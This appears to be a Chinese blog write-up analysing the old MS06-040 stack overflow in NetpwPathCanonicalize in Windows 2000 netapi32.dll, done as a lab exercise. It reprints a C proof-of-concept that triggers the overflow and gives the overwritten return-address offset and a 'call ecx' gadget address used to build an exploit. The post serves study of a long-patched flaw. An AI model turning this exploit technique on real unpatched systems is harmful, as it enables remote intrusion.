qiyesafe.com

经典栈溢出之MS060-040漏洞分析

  找了好久才找到Win 2000 NetApi32.dll样本,下面我对这个经典栈溢出进行一下分析,使用IDA打开NetApi32.dll,问题函数:NetpwPathCanonucalize。实验环境:win xp sp3,ollydbg,IDA。exp编译工具:VC++ 6.0

其中的子函数存在溢出:

汇编代码注释:

两个溢出点,但是第一个无法利用:

 

找到一个网上的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int main()
{
     char Str[0x320];
     char lpWideCharStr[0x440];
     int  arg_8 = 0x440;
     char Source[0x100];
     long arg_10 = 44;
     HINSTANCE LibHandle;
     MYPROC Func;
     char DllName[] = "./netapi32.dll";
 
     LibHandle = LoadLibrary(DllName);
     if( LibHandle == NULL)
     {
          MessageBox(0, "Can't Load DLL!", "Warning", 0);
          FreeLibrary(LibHandle);
     }
     Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
     if ( Func == NULL )
     {
          MessageBox(0, "Can't Load Function Address!", "Warning", 0);
          FreeLibrary(LibHandle);
     }
     memset(Source, 0, sizeof(Source));
     memset(Source, 'b', sizeof(Source)-2);
     memset(Str, 0, sizeof(Str));
     memset(Str, 'a', sizeof(Str)-2);
     (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
     FreeLibrary(LibHandle);
     return 0;
}

动态调试:找到函数返回地址被覆盖的位置。

 

 

 

 

不仅找到了覆盖的返回地址,同时发现ecx指向栈顶

寻找call ecx硬编码FFD1

根据搜集到的信息:

栈空间的起始地址为0012F258

0x0012F258 bbbbbbbbb

0x0012F348 bbbbbbbbbbbbbb

0x0012F358 aaaaaaaaaaaaa

0x0012F670 \xc2\x7b\x19\x75

0x0012F674 aa

0x0012F66C ebp

0x0012F670 返回地址

call ecx 0x75197bc2

根据POC编写exp,测试:

 

posted @   七夜的故事  阅读(1060)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
qiyesafe.com
点击右上角即可分享
微信分享提示